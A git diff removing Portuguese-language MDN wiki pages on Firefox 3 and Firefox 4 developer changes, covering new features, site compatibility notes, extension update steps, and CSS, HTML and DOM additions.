  • Plugin management. Users can now disable individual plugins in the Add-on Manager.
  • -
  • Integration with Windows Vista. Firefox's menus now display using Vista's native theme.
  • -
  • Integration with Mac OS X. Firefox now supports Growl for notifications of completed downloads and available updates.
  • -
  • Star button. The new star button in the location bar lets you quickly add a new bookmark with a single click. A second click lets you file and tag your new bookmark.
  • -
  • Tags. You can now associate keywords with your bookmarks to easily sort them by topic.
  • -
  • Location bar and auto-complete. Type the title or tag of a page in the location bar to quickly find the site you were looking for in your history and bookmarks. Favicons, bookmark, and tag indicators help you see where the results are coming from.
  • -
  • Smart Bookmarks folder. Firefox's new Smart Bookmarks folder offers quick access to your recently bookmarked and tagged places, as well as pages you visit frequently.
  • -
  • Bookmarks and History Organizer. The new unified bookmarks and history organizer lets you easily search your history and bookmarks with multiple views and smart folders for saving your frequent searches.
  • -
  • Web-based protocol handlers. Web applications, such as your favorite web mail provider, can now be used instead of desktop applications for handling mailto: links from other sites. Similar support is provided for other protocols as well. (Note that web applications do have to register themselves with Firefox before this will work.)
  • -
  • Easy to use Download Actions. A new Applications preferences pane provides an improved user interface for configuring handlers for various file types and protocol schemes.
  • -
  • Improved look and feel. Graphics and font handling have been improved to make web sites look better on your screen, including sharper text rendering and better support for fonts with ligatures and complex scripts. In addition, Mac and Linux (Gnome) users will find that Firefox feels more like a native application for their platform than ever, with a new, native, look and feel.
  • -
  • Color management support. By setting the gfx.color_management.enabled preference in {{mediawiki.external('about:config')}}, you can ask Firefox to use the color profiles embedded in images to adjust the colors to match your computer's display.
  • -
  • Offline support. Web applications can take advantage of new features to support being used even when you don't have an Internet connection.
  • -
-

Security and privacy

-
    -
  • One-click site information. Want to know more about the site you're visiting? Click the site's icon in the location bar to see who owns it. Identify information is prominently displayed and easier than ever to understand.
  • -
  • Malware protection. Firefox 3 warns you if you arrive at a web site that is known to install viruses, spyware, trojans, or other dangerous software (known as malware). You can see what the warning looks like by clicking here.
  • -
  • Web forgery protection enhanced. Now when you visit a page that's suspected of being a forgery, you're shown a special page instead of the contents of the page with a warning. Click here to see what it looks like.
  • -
  • Easier to understand SSL errors. The errors presented when an invalid SSL certificate is encountered have been clarified to make it easier to understand what the problem is.
  • -
  • Out-of-date add-on protection. Firefox 3 now automatically checks add-on and plugin versions and disables older, insecure versions.
  • -
  • Secure add-on updates. Add-on update security has been improved by disallowing add-ons that use an insecure update mechanism.
  • -
  • Anti-virus integration. Firefox 3 now informs anti-virus software when executable files are downloaded.
  • -
  • Windows Vista parental controls support. Firefox 3 supports the Vista system-wide parental control setting for disabling file downloads.
  • -
-

Performance

-
    -
  • Reliability. Firefox 3 now stores bookmarks, history, cookies, and preferences in a transactionally secure database format. This means your data is protected against loss even if your system crashes.
  • -
  • Speed. Firefox 3 has gotten a performance boost by completely replacing the part of the software that handles drawing to your screen, as well as to how page layout work is handled.
  • -
  • Memory use reduced. Firefox 3 is more memory efficient than ever, with over 300 memory "leak" bugs fixed and new features to help automatically locate and dispose of leaked memory blocks.
  • -
-

See also

- -
{{Firefox_for_developers('2')}}
diff --git a/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html b/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html deleted file mode 100644 index 3c8b290205..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Mudanças no Gecko 1.9 que afetam websites -slug: Mozilla/Firefox/Releases/3/Site_compatibility -tags: - - Desenvolvimento_Web - - Gecko - - Todas_as_Categorias -translation_of: Mozilla/Firefox/Releases/3/Site_compatibility -original_slug: Mudanças_no_Gecko_1.9_que_afetam_websites ---- -
{{FirefoxSidebar}}
- -

Esta página tenta dar uma introdução das mudanças entre o Gecko 1.8 e o Gecko 1.9, que poderia possivelmente afetar websites em seu comportamento ou interpretação. Veja também Firefox 3 para desenvolvedores.

- -

Eventos

- -

Capturando ouvintes de carregamento de eventos

- -

No Gecko 1.8, não era possível configurar a captura de ouvintes de carregamento de eventos em imagens. No Gecko 1.9, isto foi corrigido por {{ Bug(234455) }}. Mas isto pode causar problemas em websites que tenham seus ouvintes de eventos incorretamente configurados para capturar o carregamento de evento. Veja a discussão em {{ Bug(335251) }}. Para corrigir este problema, a página problemática em questão não deve configurar uma captura de ouvintes de carregamento de eventos.

- -

Por exemplo, isto:

- -
window.addEventListener('load', yourFunction, true);
-
- -

deve ser mudado nisto:

- -
window.addEventListener('load', yourFunction, false);
-
- -

Para uma explanação de como eventos de captura trabalham, veja DOM Level 2 Event capture

- -

preventBubble foi removido

- -

No Gecko 1.8, o método preventBubble existia em eventos para previnir eventos de "borbulhar para cima". No Gecko 1.9 este método foi removido. Dessa forma, você deve usar o padrão stopPropagation(), o qual também trabalha bem no Gecko 1.8. Opatch em {{ Bug(330494) }} fez isto acontecer. Veja também {{ Bug(105280) }}.

- -

Algumas outras APIs de evento antigas não são mais suportadas

- -

window.captureEvents, window.releaseEvents, e window.routeEvent são são mais suportadas ({{ Obsolete_inline() }}) no Gecko 1.9.

- -

DOM

- -

WRONG_DOCUMENT_ERR

- -

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they - can be inserted into the current document. For more on the Node.ownerDocument issues, see the - W3C DOM FAQ.

- -

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many - sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for - improved future compatibility.

- -

Alcances

- -

intersectsNode foi removido

- -

No Gecko 1.8 a função do código intersectsNode é usada para testar se um nó intercepta um alcance. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Dessa forma use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

- -

Veja a documentação para intersectsNode para como usar compareBoundaryPoints em vez disso.

- -

compareNode foi removido

- -

No Gecko 1.8 a função do código compareNode é usada para testar como um nó intercepta um alcante. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Em vez disso use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

- -

Veja a documentação para compareNode para como usar compareBoundaryPoints em vez disso.

- -

HTML

- -

Muitosbugs em <object> foram corrigidos

- -

Os elementos object e embed não precisam mais do atributo type para interpretar. Mudando o atributo src (de <embed>) ou o atributo data (de <object>) via JavaScript agora trabalha corretamente. O cabeçalho Conteúdo-Tipo enviado pelo servidor (se algum) agora toma procedências sobre o atributo type de um elemento <object> de acordo com a especificação HTML. (este não é o caso de embed).

- -


- Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron" } ) }}

diff --git a/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html deleted file mode 100644 index d213047978..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html +++ /dev/null @@ -1,210 +0,0 @@ ---- -title: Atualização das extensões para o Firefox 3 -slug: Mozilla/Firefox/Releases/3/Updating_extensions -tags: - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/Updating_extensions -original_slug: Atualizando_extensões_para_o_Firefox_3 ---- -
- -

Este artigo proporciona informações úteis para desenvolvedores que desejam atualizar suas extensões para que funcionem corretamente no Firefox 3.

- -

Antes de continuar, há uma sugestão útil que podemos oferecer: se a única mudança que sua extensão requere é uma atualização no campo maxVersion no seu manifesto de instalação, e você hospedou sua extensão em addons.mozilla.org, você atualmente não precisa disponibilizar uma nova versão da sua extensão! Simplesmente use o Painel de Controle de Desenvolvedores em AMO para ajustar o maxVersion. Você pode evitar de ter sua extensão re-revisada por este caminho.

- -

Passo 1: Atualizar o manifesto de instalação

- -

O primeiro passo -- e, para muitas das extensões, o único que será necessário -- é atualizar o arquivo manifesto de instalação, install.rdf, para indicar compatibilidade com o Firefox 3.

- -

Simplesmente ache a linha que indica a máxima versão compatível do Firefox (que, para o Firefox 2, pode indicar como aqui):

- -
 <em:maxVersion>2.0.0.*</em:maxVersion>
-
- -

Mude isto para indicar compatibilidade com o Firefox 3:

- -
 <em:maxVersion>3.0.*</em:maxVersion>
-
- -

Então reinstale sua extensão.

- -

Note que o Firefox 3 acaba com o ".0" extra no número da versão, então, ao invés de usar "3.0.0.*", você precisa usar somente "3.0.*".

- -
Nota: Note que neste ponto mais mudanças no Firefox 3 são esperadas. Estas mudanças podem quebrar algumas extensões, então você não precisa lançar sua extensão com 3.0.* maxVersion para os usuários antes que o Firefox 3 candidato a liberação seja lançado. Durante o período do Firefox 3 Beta, você pode usar 3.0b5 como sua maxVersion.
- -

Tem havido (e continuará a haver) um número de mudanças na API que poderão quebrar algumas extensões. Nós estamos trabalhando na compilação de uma lista completa destas mudanças.

- -
Nota: Se a sua extensão ainda usa um script Install.js ao invés de um manifesto de instalação, você precisa fazer a transição para um manifesto de instalação agora. O Firefox 3 não mais suporta os scripts install.js em arquivos XPI.
- -

Adicionando localizações para o manifesto de instalação

- -

O Firefox 3 suporta novas propriedades no manifesto de instalação para especificar descrições localizadas. Os antigos métodos ainda funcionam, entretanto o novo Firefox permite pegar as localizações sempre que os complementos estiverem desabilitados e com instalação pendente. Veja Localizar descrições de extensões para mais detalhes.

- -

Passo 2: Certificar-se de que está a proporcionar atualizações seguras

- -

Se você está hospedando complementos por si mesmo e não em um provedor de hospedagem de complementos seguro como addons.mozilla.org então você precisa oferecer um método seguro de atualizar seu complemento. Isto poderá envolver a hospedagem das suas atualizações em um website SSL, ou usando chaves criptográficas para assinar a informação da atualização. Leia Securing Updates para mais informações.

- -

Passo 3: Lidar com APIs alteradas

- -

Várias APIs foram alterados de maneira significativa. O mais significativo destes, que provavelmente afetará um grande número de extensões, são:

- -

DOM

- -

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they - can be inserted into the current document. For more on the Node.ownerDocument issues, see the - W3C DOM FAQ.

- -

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many - sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for - improved future compatibility.

- -

Marcadores & Histórico

- -

Se sua extensão acessa dados dos favoritos ou do histórico de alguma maneira, ela precisará de um trabalho substancial para tornar-se compatível com o Firefox 3. As antigas APIs de acesso a estas informações foram substituidas pela nova arquitetura en:Places. Veja Migration Guide for Places para detalhes na atualização da sua extensão existente para usar a API Places.

- -

Gestor de Descargas

- -

A API do Gestor de Descargas foi alterado ligeiramente devido à transição de um RDF para armazenar dados usando a API en:Storage. Esta pode ser uma transição muito fácil de fazer. Além disso, a API de monitoramento do progesso de downloads mudou para suportar múltiplos receptores no gestor de descargas. Consulte en:nsIDownloadManager, en:nsIDownloadProgressListener, e en:Monitoring downloads para mais informação.

- -

Gestor de Palavras-passe

- -

Se sua extensão acessa informações do login de usuário usando o Gerenciador de Senhas, será necessário atualizá-la para usar a nova API de Gerenciamento de Login.

- -
    -
  • O artigo en:Using nsILoginManager inclui exemplos, incluindo uma demonstração de como escrever sua extensão para que trabalhe tanto com o Gerenciador de Senhas quanto com o Gerenciador de Login, então ela irá funcionar tanto no Firefox quanto em versões anteriores.
  • -
  • en:nsILoginInfo
  • -
  • en:nsILoginManager
  • -
- -

Você pode também sobrepor o armazenamento do gerenciador de senhas construído se você desejar fornecer a implementação de seu próprio armazenamento de senhas nas suas extensões. Veja Criando um módulo de armazenamento de Gerenciador de Login para mais detalhes.

- -

janelas (Menus, Menus de Contexto, Dicas de Ferramenta e Painéis)

- -

O sistema de Popup XUL foi bastante modificado no Firefox 3. O sistema de Popup inclui menus principais, menus de contexto e painéis popup. Um guia sobre como usar Popups foi criado, detalhando como o sistema trabalha. Uma coisa a se notar é que popup.showPopup foi depreciado em favor do novo popup.openPopup e popup.openPopupAtScreen.

- -

Auto Completar

- -

O método handleEnter() da interface en:nsIAutoCompleteController foi alterado para aceitar um argumento que indica quando o texto foi selecionado do popup autocompletar ou pelo usuário pressionando enter depois de digitar o texto.

- -

DOMParser

- -
    -
  • Quando um DOMParser é instanciado, este herda o código principal dito e os documentURI e baseURI da janela de onde o construtor vier.
  • -
  • Se o chamador tiver privilégios UniversalXPConnect, ele pode passar parâmetros para new DOMParser(). Se menos de três parâmetros forem passados, os parâmetros restantes serão padronizados para null. -
      -
    • O primeiro parâmetro é o principal para uso; ele sobrepõe o padrão principal normalmente herdado.
    • -
    • O segundo parâmetro é o documentURI para uso.
    • -
    • O terceiro parâmetro é o baseURI para uso.
    • -
    -
  • -
  • Se inicializa um DOMParser usando um contrato, somente através de uma chamada createInstance(), e não fizer a chamada do método init() do DOMParser, tentando iniciar a operação de análise será criada automaticamente a inicialização de DOMParser com um nulo principal e apontadores null para DocumentURI e baseURI.
  • -
- -

Interfaces removidas

- -

As seguintes interfaces foram removidas do Gecko 1.9, que direcionam o Firefox 3. Se sua extensão faz uso de alguma destas, você precisará atualizar seu código:

- -
    -
  • nsIDOMPaintListener
  • -
  • nsIDOMScrollListener
  • -
  • nsIDOMMutationListener
  • -
  • nsIDOMPageTransitionListener
  • -
  • nsICloseAllWindows (see bug 386200)
  • -
- -

Passo 4: Procurar por alterações relevantes no chrome

- -

Houveram menores mudanças no chrome que podem requisitar mudanças no seu código. Uma nova vbox foi adicionada, chamada "browser-bottombox", que inclui a barra de procura e a barra de estado à janela do navegador. Embora ela não afete a aparência da exibição, ela pode afetar sua extensão se ela sobrepuser o chrome em relação a estes elementos.

- -

Por exemplo, se você anteriormente sobrepôs algum chrome antes da barra de estado, como isto:

- -
<window id="main-window">
-  <something insertbefore="status-bar" />
-</window>
-
- -

Você deve agora sobrepor desta maneira:

- -
<vbox id="browser-bottombox">
-  <something insertbefore="status-bar" />
-</vbox>
-
- -

Outras alterações

- -

Mudanças simples adicionais que tiver de fazer enquanto atualiza sua extensão para trabalhar com o Firefox 3, aqui.

- -
    -
  • chrome://browser/base/utilityOverlay.js não é mais suportada por razões de segurança. Se você previamente utilizava-a, você pode mudar para chrome://browser/content/utilityOverlay.js.
  • -
  • en:nsIAboutModule implementações são agora requeridas para suportar o método getURIFlags. Veja nsIAboutModule.idl para documentação. Isto afeta extensões que provém novas URIs about:. (bug 337746)
  • -
  • O elemento <tabbrowser> não é mais parte do "kit de ferramentas" (bug 339964). Isto significa que este elemento não está mais disponível para aplicações XUL e extensões. Ele continua a ser usado na janela principal do Firefox (browser.xul).
  • -
  • Mudanças em en:nsISupports proxies e possivelmente relacionado ao encadeamento de interfaces que precisam ser documentadas.
  • -
  • Se você usa instruções de processamento XML, como <?xml-stylesheet ?> em seus arquivos XUL, fique atento às mudanças feitas em bug 319654: -
      -
    1. XML PIs foram agora adicionadas a um documento XML DOM. Isto significa que Document.firstChild não é mais garantida como o elemento raiz. Se você precisa pegar o documento raiz no seu script, use Document.documentElement ao invés.
    2. -
    3. as instruções de processamento <?xml-stylesheet ?> e <?xul-overlay ?> agora não tem efeito fora do documento prolog.
    4. -
    -
  • -
  • window.addEventListener("load", myFunc, true) não é mais ativado no carregamento de conteúdo web (carregamento de páginas no navegador). Isto foi devido ao bug 296639 que altera a maneira como as janelas internas e externas se comunicam. O simples conserto é para o uso de gBrowser.addEventListener("load", myFunc, true) como descrito aqui e trabalha no Firefox 2 muito bem.
  • -
  • content.window.getSelection() dá um objeto (que pode ser convertido para uma string por toString()) diferentemente do agora depreciado content.document.getSelection() que retorna uma string
  • -
  • event.preventBubble() foi depreciado no Firefox 2 e foi removido no Firefox 3. Use event.stopPropagation(), que funciona bem no Firefox 2.
  • -
  • Contadores que são inciados usando setTimeout() estão agora bloquados por janelas modais devido à correção para bug 52209. Você pode usar nsITimer no lugar.
  • -
- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/mozilla/firefox/releases/4/index.html b/files/pt-pt/mozilla/firefox/releases/4/index.html deleted file mode 100644 index a79356442c..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/4/index.html +++ /dev/null @@ -1,657 +0,0 @@ ---- -title: Firefox 4 para desenvolvedores -slug: Mozilla/Firefox/Releases/4 -tags: - - CSS - - Firefox - - Firefox 4 - - Gecko - - Gecko 2.0 - - HTML - - JavaScript - - XPCOM - - XUL -translation_of: Mozilla/Firefox/Releases/4 -original_slug: Firefox_4_para_desenvolvedores ---- -
- -
-

Esboço
- Esta página está incompleta.

- -
- -

O Firefox 4, o qual entrou em beta no mês de junho de 2010, melhora a performance, adiciona maior suporte ao HTML5 e outras tecnologias web envolvidas e, além disso, melhora a segurança. Este artigo proporciona informações iniciais sobre o lançamento que virá e quais funcionalidades estão disponíveis, tanto para desenvolvedores web, quanto para desenvolvedores de complementos e desenvolvedores da plataforma Gecko.

- -

Muitas destas funcionalidades já podem ser testadas na versão Firefox 4 beta, ou, se estiver se sentindo aventureiro, em nightly trunk builds.

- -
Observação: Este artigo é um trabalho em progresso, assim como todos os artigos linkados nesta página. Muitos nomes de artigos são espaços reservadis e alguns tópicos provavelmente serão quebrados em múltiplos artigos. Em geral, seja cuidadoso ao vincular páginas a estes artigos, por enquantoIn general, be cautious about linking to these articles for the time beingJavas.
- -

Funcionalidades para desenvolvedores web

- -

O Gecko agora usa o analisador HTML5 (parser HTML5), que corrige bugs, melhora a interoperabilidade e melhora a performance. Ele também permite conteúdos de SVG e MathML embutidos diretamente na marcação HTML.

- -

HTML

- -
-
Conheça o parser HTML5
-
Uma olhada no que o analisador HTML5 (parser HTML5) significa para você e como incorporar SVG e MathML ao seu conteúdo.
-
Forms no HTML5
-
Uma olhada às melhorias aos web forms no HTML5. Entre estas mudanças foram adicionados tipos de entrada no elemento <input> e validação de dados, dentre outros.
-
Seções HTML5
-
O Gecko agora suporta os novos elementos HTML5 relacionados a seções em um um documento: <article>, <section>, <nav>, <aside>, <hgroup>, <header> e <footer>.
-
Outros elementos HTML5
-
O Gecko agora suporta os seguintes elementos do HTML5: <mark>, <figure><figcaption>.
-
WebSockets
-
Um guia para usar a nova API de WebSockets para comunicação em tempo real entre uma aplicação web e um servidor.
-
- -

Modificações HTML diversas

- -
    -
  • Os elementos <textarea> são agora redimensionáveis por padrão; você pode usar a propriedade resize do CSS para desabilitar isto.
  • -
  • canvas.getContext e canvas.toDataURL não adicionam mais exceções quando chamados com argumentos não reconhecidos.
  • -
  • O elemento <canvas> agora suporta o método específico da Mozilla mozGetAsFile(), o qual permite a obtenção de um arquivo baseado na memória contendo uma imagem dos conteúdos do canvas. Veja HTMLCanvasElement para detalhes.
  • -
  • canvas2dcontext.globalCompositeOperation, canvas2dcontext.lineCap e canvas2dcontext.lineJoin não adicionam mais exceções quando configurados para valores desconhecidos.
  • -
  • canvas2dcontext.globalCompositeOperation não adiciona mais exceções quando configurado para um valor desconhecido e não suporta mais o valor não padrão darker.
  • -
  • Foi removido o suporte para o elemento obsoleto <spacer>, o qual não existe em nenhum outro navegador.
  • -
  • O elemento <isindex>, quandro criado pela chamada de document.createElement(), é agora criado como um elemento simples sem propriedades ou métodos.
  • -
  • O Gecko agora suporte a chamada click() em elementos <input> para abrir o seletor de arquivos. Veja o exemplo no artigo Using files from web applications.
  • -
  • Os elementos <script> internos aos elementos <iframe>, <noembed> e <noframes> agora são executados, ao contrário de versões anteriores do Firefox. Isto está de acordo com a especificação e corresponde com o comportamento de outros navegadores.
  • -
- -

CSS

- -
-
Transições CSS (CSS transitions)
-
O suporte à novas transições CSS está disponível no Firefox 4.
-
Valores calculados em CSS
-
Foi adicionado o suporte para -moz-calc. Isto permite especificar valores <length> como expressões matemáticas.
-
Seletor de agrupamento
-
Suporte a :-moz-any para agrupar seletores e fatorizar combinadores.
-
Suporte a sub-retângulo em imagens de fundo
-
A função -moz-image-rect torna possível o uso de subretângulos de imagens como uma background-image (imagem de plano de fundo).
-
Propriedades de toque CSS
-
O suporte para propriedades de toque foi adicionado. Detalhes e nomes de artigos reais, virão depois.
-
Using arbitrary elements as CSS backgrounds
-
Você pode usar a função -moz-element do CSS e a função document.mozSetImageElement() do DOM para usar elementos HTML arbitrários como planos de fundos.
-
Privacidade e o seletor :visited
-
Mudanças foram feitas ao tipo de informação que pode ser obtida sobre o estilo dos links visitados usando seletores CSS. Isto pode afetas algumas aplicações web.
-
- -

Novas propriedades do CSS

- - - - - - - - - - - - - - - - - - - - -
PropriedadeDescrição
-moz-font-feature-settingsPermite características avançadas de customização em fontes OpenType.
-moz-tab-sizeEspecifica a largura em caracteres de espaço, de um caracter tab (U+0009) na renderização de texto.
resizePermite o controle das dimensões nas quais um elemento pode ser redimensionado.
- -

Novas pseudo-classes do CSS

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pseudo-classeDescrição
:-moz-handler-crashedUsado para estilizar elementos cujos plugins tenham quebrado.
:-moz-placeholderAplicado ao espaço reservado de texto nos campos de formulário.
:-moz-submit-invalidAplicado ao botão de submeter em formulários quando um ou mais dos campos do formulário não é validado.
:-moz-window-inactiveAplicado a elementos em janelas inativas.
:invalidAplicado automaticamente para os campos <input> quando suas constantes são inválidas.
:optionalAplicado automaticamente para os campos <input> que não especifiquem o atributo required.
:requiredAplicado automaticamente para os campos <input> que especifiquem o atributo required.
:validAplicado automaticamente para os campos <input> quando suas constantes são validadas com sucesso.
- -

Novos pseudo-seletores do CSS

- - - - - - - - - - - - -
Pseudo-seletorDescrição
:-moz-focusringPermite especificar a aparência de um elemento quando o Gecko acredita que ele deve ter uma indicação de foco renderizada.
- -

Novas funções do CSS

- - - - - - - - - - - - - - - - - - - - - - - - -
FunçãoDescrição
:-moz-anyPermite agrupar seletores e fatorizar combinações.
-moz-calcPermite a especificação de valores <length> como expressões matemáticas.
-moz-elementPermite o uso de um elemento arbitrário como imagem de fundo para background-image e background.
-moz-image-rectPermite o uso de um sub-retângulo de uma imagem como um background-image ou background.
- -

Propriedades do CSS renomeadas

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Old NameNew NameNotes
-moz-background-sizebackground-sizeO nome -moz-background-size não é mais suportado.
-moz-border-radiusborder-radiusO antigo nome é suportado por tempo limitado para permitir a atualização de seus sites. Mudanças de renderização também foram feitas para conseguir a compatibilidade com a última versão.
-moz-box-shadowbox-shadow
- -

Modificações CSS diversas

- -
    -
  • A propriedade text-shadow agora permite raio de desfoque de até 300px, por razões de sanidade e performance.
  • -
  • A propriedade overflow não se aplica mais para elementos do grupo "table" (<thead>, <tbody> e <tfoot>).
  • -
  • A propriedade -moz-appearance agora suporta o valor -moz-win-borderless-glass, que aplica uma aparência Aero Glass a um elemento.
  • -
  • A funcionalidade de mídia -moz-device-pixel-ratio foi adicionada, permitindo o uso de pixels do dispositivo pela taxa de pixels CSS a ser usada em Consultas de Mídia.
  • -
  • A maneira com que o Gecko lida com o CSS units foi revisada para melhorar a compatibilidade com outros navegadores e para traduzir comprimentos absolutos mais acuradamente na contagem de pixels da tela baseado na DPI do dispositivo.
  • -
- -

Modificações CSS diversas

- -
    -
  • -moz-border-radius foi renomeado para border-radius. - -
      -
    • -moz-border-radius é suportado como um apelido para um período de transição
    • -
    • A manipulação de valores percentuais foi alterada para ficar compatível com a última especificação
    • -
    • Cantos arredondados agora arredondam também conteúdo e imagens (a menos que seja especificado overflow:visible)
    • -
    -
  • -
  • A propriedade -moz-box-shadow foi renomeada para box-shadow.
  • -
  • A propriedade text-shadow agora permite raio de desfoque de até 300px, por razões de sanidade e performance.
  • -
  • A pseudoclasse :-moz-window-inactive foi implementada.
  • -
  • A propriedade -moz-tab-size permite a especificação da largura de um caracter de tab (U+0009) em caracteres de espaço, quando na renderização de texto.
  • -
  • A propriedade resize do CSS3 foi implementada.
  • -
  • A propriedade -moz-background-size foi renomeada para seu nome final background-size; -moz-background-size não é mais suportada.
  • -
  • A propriedade overflow não se aplica mais para elementos do grupo "table" (<thead>, <tbody> e <tfoot>).
  • -
  • O pseudoseletor :-moz-focusring permite a especificação da aparência de um elemento quando o Gecko acredita que o elemento deve ter uma indicação de foco renderizada.
  • -
  • A função -moz-element do CSS permite o uso de um elemento arbitrário como imagem de fundo para background-image e background.
  • -
  • A propriedade -moz-appearance agora suporta o valor -moz-win-borderless-glass, que aplica uma aparência Aero Glass a um elemento.
  • -
  • As pseudoclasses :valid e :invalid são agora automaticamente aplicadas para campos de validação <input>.
  • -
  • A pseudoclasse :-moz-submit-invalid é aplicada ao botão de submeter em campos de formulários quando um ou mais campos não são validados.
  • -
  • A pseudoclasse :required é agora automaticamente aplicada aos campos <input> que especificam o atributo requerido; a pseudoclasse :optional é aplicada a todos os outros campos.
  • -
  • A pseudoclasse :-moz-placeholder foi adicionada para permitir a estilização de campos de texto em formulários.
  • -
  • A pseudoclasse :-moz-handler-crashed foi adicionada; ela estiliza elementos cujos plugins tenham quebrado.
  • -
  • A funcionalidade de mídia -moz-device-pixel-ratio foi adicionada, permitindo o uso de pixels do dispositivo pela taxa de pixels CSS a ser usada em Consultas de Mídia.
  • -
  • A nova propriedade -moz-font-feature-settings permite que você customize características avançadas das fontes, de fontes OpenType.
  • -
  • A maneira com que o Gecko lida com o CSS units foi revisada para melhorar a compatibilidade com outros navegadores e para traduzir comprimentos absolutos mais acuradamente na contagem de pixels da tela baseado na DPI do dispositivo.
  • -
- -

Gráficos e vídeo

- -
-
-
WebGL
-
O padrão de desenvolvimento WebGL é agora suportado pelo Firefox.
-
Otimização da performance gráfica
-
Dicas e truques para conseguir a melhor performance gráfica e de vídeo no Firefox 4.
-
Suporte a vídeos WebM
-
O novo formato aberto de vídeo WebM é suportado pelo Gecko 2.0; o suporte está incluído em nightlies desde 9 de junho.
-
Animação SVG com SMIL
-
O suporte a animações SMIL do SVG está agora disponível.
-
Usando SVG como imagens e como fundos de tela CSS
-
Você pode agora usar o SVG com o elemento <img>, assim como com a propriedade background-image do CSS.
-
Suporte ao atributo de mídia buffered
-
O atributo buffered nos elementos <video> e <audio> é agora suportado, permitindo a determinação de quais faixas de um arquivo de mídia foram carregadas. A interface TimeRanges do DOM foi implementada para suportar isto.
-
Atributo de mídia preload
-
O atributo preload da especificação do HTML5 foi implementado, substituindo o atributo anteriormente implementado (e não mais suportado) autobuffer. Isto afeta os elementos <video> e <audio>, assim como a interface nsIDOMHTMLMediaElement.
-
Melhoramentos no posicionamento de texto SVG
-
Agora é possível especificar listas para os valores das propriedades x, y, dx e dy nos elementos <text> e <tspan> do SVG. Isto permite controlar o posicionamento de cada caractere individualmente em uma string.
-
- -

DOM

- -
-
Arrays com tipos JavaScript
-
Foi adicionado suporte para os arrays com tipos JavaScript; eles permitem a manipulação de buffers contendo dados em raw usando tipos de dados nativos. Muitas API fazem uso disto, incluindo File API, WebGL, e WebSockets.
-
Obtenção de limites de retângulos para ranges
-
O objeto Range agora possui os métodos range.getClientRects() e range.getBoundingClientRect().
-
Captura de eventos de mouse em elementos arbitrários
-
O suporte para as APIs setCapture() e releaseCapture() originadas do Internet Explorer foram adicionadas. Veja bug 503943.
-
Manipulação do histórico do navegador
-
O objeto de histórico de documento existente, disponível através do objeto window.history agora suporta os novos métodos pushState() e replaceState() do HTML5.
-
Animações usando o MozBeforePaint
-
Um novo evento foi adicionado, o qual combinado com o método window.mozRequestAnimationFrame() e a propriedade window.mozAnimationStartTime, proporciona uma maneira de criar animações sincronizadas uma com a outra.
-
Eventos de toque e multi-toque
-
Foi adicionado suporte ao evetos de toque e multi-toque.
-
-
- -

A interface DOM dos elementos HTML mudou

- -

Muitos elementos do HTML tiveram suas interfaces DOM mudadas para aquelas requisitadas pela especificação do HTML5, como mostrado abaixo.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Interface no Firefox 3.6Interface no Firefox 4Elemento HTML
HTMLSpanElementHTMLElement<abbr>, <acronym>, <address>, <b>, <bdo>, <big>, <blink>, <center>, <cite>, <code>, <dd>, <dfn>, <dt>, <em>, <i>, <kbd>, <listing>, <nobr>, <plaintext>, <s>, <samp>, <small>, <strike>, <strong>, <sub>, <sup>, , <tt>, <u>, <var>, <xmp>
HTMLDivElementHTMLElement<noembed>, <noframes>, <noscript>
HTMLWBRElementHTMLElement<wbr>
- -

Modificações DOM diversas

- -
    -
  • O "envoltório" de um elemento <textarea> agora pode ser controlado a partir do DOM, através do atributo wrap do DOM. bug 41464
  • -
  • Elementos <script> criados usando document.createElement  e inseridos em um documento agora comportam-se de acordo com a especificação do HTML5 por padrão. Scripts com o atributo src são executados assim que possível (sem manter o ordenamento) enquanto scripts sem o atributo src são executados sincronamente. Para fazer com que scripts inseridos com o atributo src sejam executados na ordem de inserção, configure-os com .async=false.
  • -
  • Os objetos file do DOM agora oferecem a propriedade url.
  • -
  • Suporte para FormData para XMLHttpRequest.
  • -
  • A propriedade element.isContentEditable foi implementada.
  • -
  • A propriedade document.currentScript permite determinar qual elemento <script> do script está sendo executado no momento. O novos eventos document.onbeforescriptexecute e document.onafterscriptexecute são lançados antes e depois de um elemento script ser executado.
  • -
  • Adicionada a propriedade mozSourceNode ao objeto DragTransfer.
  • -
  • Adicionado o método selection.modify() ao objeto Selection; ele permite a fácil alteração da seleção de texto atual ou da posição do cursor em uma janela do navegador.
  • -
  • O suporte para o objeto window.directories e para a característica directories de window.open, qua não são suportadas em nenhum outro navegador, foi  removido. Ao invés dela, use personalbar. bug 474058
  • -
  • A propriedade event.mozInputSource foi adicionada aos eventos de interface de usuário do DOM; esta propriedade não-padrão permite a determinação do tipo de dispositivo que gerou um evento.
  • -
  • O evento document.onreadystatechange foi implementado.
